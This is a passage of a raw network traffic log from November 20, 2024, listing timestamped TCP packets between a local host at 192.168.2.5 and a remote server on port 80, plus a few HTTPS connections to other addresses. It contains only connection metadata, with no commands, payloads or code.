Nov 20, 2024 01:18:38.171884060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.171890020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.171899080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.171914101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.171921015 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.171927929 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.171945095 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.171951056 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.171982050 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172064066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172079086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172092915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172108889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172116041 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172123909 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172147036 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172147989 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172168970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172185898 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172185898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172200918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172218084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172223091 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172233105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172250032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172256947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172265053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172282934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172296047 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172306061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172317028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172332048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172347069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172363997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172374964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172379017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172396898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172403097 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172411919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172427893 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172441006 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172454119 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172466993 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172467947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172483921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172501087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172502995 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172513962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172528982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172542095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172545910 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172561884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172566891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172575951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172590971 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172597885 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172607899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172622919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172635078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172638893 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172655106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172661066 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172671080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172686100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172693014 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172702074 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172717094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172719955 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172732115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172745943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172753096 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172761917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172776937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172785044 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172791958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172806978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172813892 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172822952 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172837973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172842026 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172852993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172868013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172869921 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172883034 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172899008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172902107 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172914982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172930956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.172935963 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.172965050 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.173125982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173146009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173165083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173180103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173182011 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.173194885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173211098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.173217058 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.173248053 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.174011946 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.175514936 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.177728891 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.177755117 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.178224087 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.178230047 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.187421083 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.188482046 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.188503027 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.189158916 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.189171076 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.192678928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192692995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192708015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192737103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192747116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192763090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192778111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192786932 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192812920 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192845106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192861080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192878008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192893028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192902088 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192909002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192924023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192929983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192959070 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.192959070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192975044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.192991018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.193002939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.193020105 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.193039894 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.236112118 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.236268044 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.252935886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.252962112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.252976894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253070116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253143072 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253177881 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253191948 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253235102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253277063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253283978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253335953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253367901 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253380060 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253401041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253436089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253443003 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253469944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253501892 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253509998 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253555059 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253587961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253595114 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253622055 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253655910 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253663063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253701925 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253716946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253731012 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253739119 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253761053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253768921 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253774881 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253791094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253806114 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253812075 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253844976 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253870010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253885031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253899097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253915071 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253917933 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253930092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253943920 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253957033 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253969908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253982067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.253983974 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.253998995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254018068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254019976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254045963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254057884 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254060030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254076958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254091978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254095078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254106045 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254127979 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254129887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254159927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254168034 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254180908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254204035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254216909 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254220009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254235029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254249096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254254103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254265070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254278898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254295111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254301071 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254318953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254319906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254333973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254349947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254364014 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254365921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254379988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254393101 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254395962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254419088 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254498959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254513979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254528046 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254535913 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254550934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254565001 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254566908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254582882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254597902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254601955 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254612923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254630089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254632950 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254643917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254661083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254682064 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254700899 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254815102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254829884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254846096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254861116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254873991 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254875898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254892111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254898071 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.254913092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.254934072 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.265532970 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.273185968 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.273205996 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.273276091 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.273277998 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.273343086 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.278820992 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.278841972 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.278980017 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.279206991 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.290420055 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.290685892 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.290788889 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.299163103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299196959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299248934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299283028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299283028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299329996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299330950 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299345016 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299360991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299376011 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299376965 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299391985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299403906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299408913 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299432993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299432993 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299448013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299472094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299477100 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299487114 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299501896 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299520016 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299527884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299546003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299551010 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299560070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299582958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299587965 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299597025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299613953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299624920 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299628019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299643993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299657106 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299660921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299689054 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299711943 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299736023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299751997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299760103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299767971 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299783945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299796104 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299798965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299825907 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299850941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299868107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299882889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299890041 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299899101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299913883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.299918890 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.299946070 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.304085016 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.317665100 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.320133924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320168972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320219994 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320229053 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.320252895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320262909 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.320291996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320305109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320306063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.320338964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320346117 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.320372105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.320417881 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.332895994 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.339868069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.339884996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.339900017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.339957952 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.339961052 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.339972019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340003014 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340003014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340018988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340034962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340043068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.340059042 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.340074062 CET	49807	80	192.168.2.5	185.215.113.16
